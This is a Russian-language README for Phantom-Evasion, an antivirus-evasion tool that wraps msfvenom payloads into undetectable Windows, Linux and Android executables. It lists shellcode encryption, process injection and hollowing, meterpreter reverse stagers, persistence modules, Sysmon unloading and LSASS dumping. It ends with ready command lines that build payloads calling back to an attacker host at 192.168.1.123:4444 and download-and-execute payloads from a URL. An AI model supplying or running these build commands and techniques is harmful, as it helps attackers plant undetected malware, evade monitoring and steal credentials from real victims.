
Инструмент для обхода антивирусов на Python, создающий необнаруживаемые исполняемые файлы из полезных нагрузок msfvenom с использованием продвинутых методов, таких как внедрение мусорного кода, шифрование, подделка сертификатов и несколько способов выполнения.
Phantom-Evasion — это инструмент для обхода антивирусов, написанный на Python (совместим как с python, так и с python3), способный генерировать (почти) полностью необнаруживаемые исполняемые файлы даже с наиболее распространёнными полезными нагрузками x86 msfvenom.
Следующие ОС официально поддерживают автоматическую настройку:
Следующие ОС, скорее всего, поддерживают автоматическую настройку, но требуют ручной установки metasploit-framework:
Следующие ОС требуют ручной настройки:
Просто клонируйте git или скачайте и распакуйте папку Phantom-Evasion.
Автоматическая настройка, откройте терминал и выполните:
python3 phantom-evasion.py --setup
или:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
или запустите phantom-evasion в интерактивном режиме и выберите пункт 7.
python3 phantom-evasion.py
или:
./phantom-evasion.py
python3 phantom-evasion.py --help
или:
./phantom-evasion.py --help
Каждый модуль полезной нагрузки Windows на C может быть скомпилирован (поддерживает x86 и x64) в виде EXE или DLL/ReflectiveDLL.
Случайная вставка мусорного кода (можно задать интенсивность, частоту и вероятность повторной вставки) и методы обхода антивирусов Windows (частота настраивается).
Поддерживается многобайтовое Xor/Vigenere шифрование шелл-кода/файла как при инъекции шелл-кода, так и в модулях Download Exec.
Поддерживаются методы Ntdll unhookapi и маскировки процесса PEB.
Широкий спектр режимов выполнения (как локальных, так и удалённых).
Поддерживаются различные режимы выделения памяти для полезной нагрузки (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
Поддерживается динамическая загрузка Windows API.
Поддерживаются спуфинг и подпись сертификатов.
Удаление символов (стриппинг) исполняемого файла (https://en.wikipedia.org/wiki/Strip_(Unix))
Поддерживаются полезные нагрузки msfvenom для Windows и пользовательские шелл-коды. Шелл-код может быть сохранён как ресурс и извлечён во время выполнения с помощью API FindResource.
Поддерживаемое шифрование шелл-кода:
1.none
2.Multibyte-Xor
3.Double-key Multibyte-Xor
4.Vigenere
5.Double-key Vigenere
Метод локального выполнения может быть одним из следующих:
Thread
APC
Режим локального выделения памяти может быть одним из следующих:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Метод удалённого выполнения может быть одним из следующих:
ThreadExecutionHijack (сокращённо TEH)
Processinject (сокращённо PI)
APCSpray (сокращённо APCS)
EarlyBird (сокращённо EB)
EntryPointHijack (сокращённо EPH)
Режим удалённого выделения памяти может быть одним из следующих:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Модули стейджеров meterpreter на чистом C (TCP/HTTP/HTTPS), совместимые с msfconsole и Cobalt Strike beacon. (reverse_tcp / reverse_http / reverse_https)
При использовании командной строки:
reverse_tcp c stager — WRT
reverse_http c stager — WRH
reverse_https c stager — WRS
Метод локального выполнения может быть одним из следующих:
Thread
APC
Режим локального выделения памяти может быть одним из следующих:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Загрузка exe/dll из указанного URL в память и выполнение/загрузка в удалённый процесс (без записи на диск).
Поддерживается загрузка зашифрованных EXE/DLL:
1.none
2.Multibyte-Xor
3.Double-key Multibyte-Xor
4.Vigenere
5.Double-key Vigenere
Зашифрованный DLL/EXE будет сохранён как originalfilename + "crypt" + ".dll" или ".exe" — именно его нужно загрузить.
Windows DownloadExecExe NoDiskWrite (WDE в режиме командной строки):
Метод удалённого выполнения может быть одним из следующих:
ProcessHollowing (сокращённо PH)
Windows DownloadExecDll NoDiskWrite (WDD в режиме командной строки):
Метод удалённой загрузки может быть одним из следующих:
ReflectiveDll (сокращённо RD)
RDAPC (ReflectiveDllAPC)
ManualMap (сокращённо MM) — только x86
Поддерживаются полезные нагрузки msfvenom для Linux и пользовательские шелл-коды.
Обфускация бэкдора msfvenom Android:
Обфускация полезных нагрузок msfvenom и пересборка (smali/baksmali) с помощью apktool. Обфусцированная полезная нагрузка может быть использована для создания бэкдора в легитимных APK-файлах.
Windows Persistence RegCreateKeyExW — добавление ключа реестра (C) Скомпилированный исполняемый файл необходимо загрузить на целевую машину и выполнить, указав полный путь к файлу, который нужно добавить в автозагрузку, в качестве аргумента.
Windows Persistence REG — добавление ключа реестра (CMD) Этот модуль генерирует полезные нагрузки для командной строки (добавление ключа реестра через REG.exe).
Windows Persistence Keep Process Alive (C) Скомпилированный исполняемый файл необходимо загрузить на целевую машину и выполнить. Использование CreateToolSnapshot, ProcessFirst и ProcessNext для проверки, жив ли указанный процесс, каждые X секунд (если нет — создаётся новый процесс с помощью WinExec API).
Windows Persistence Schtasks (CMD)
Этот модуль генерирует полезные нагрузки для командной строки (с помощью Schtasks.exe).
Windows Persistence Create Service (CMD)
Этот модуль генерирует полезные нагрузки для командной строки (с помощью sc.exe).
Windows DuplicateTokenEx (C)
Создание нового процесса с токеном, клонированным из другого процесса. Скомпилированный исполняемый файл необходимо загрузить на целевую машину и выполнить.
Windows Unload Sysmon (C) Выгрузка драйвера Sysmon, что приводит к остановке записи журналов событий Sysmon. Скомпилированный исполняемый файл необходимо загрузить на целевую машину и выполнить.
Windows Unload Sysmon (CMD) Выгрузка драйвера Sysmon, что приводит к остановке записи журналов событий Sysmon.
Windows Attrib hide file (CMD) Использование attrib для скрытия файла
Windows SetFileAttribute hidden (C) Скрытие файла с помощью API SetFileAttribute Скомпилированный исполняемый файл необходимо загрузить на целевую машину и выполнить.
Windows DumpLsass (C) Дамп Lsass с помощью API MiniWriteDumpWrite. Скомпилированный исполняемый файл необходимо загрузить на целевую машину и выполнить.
Windows DumpLsass (CMD)
Дамп Lsass из командной строки.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf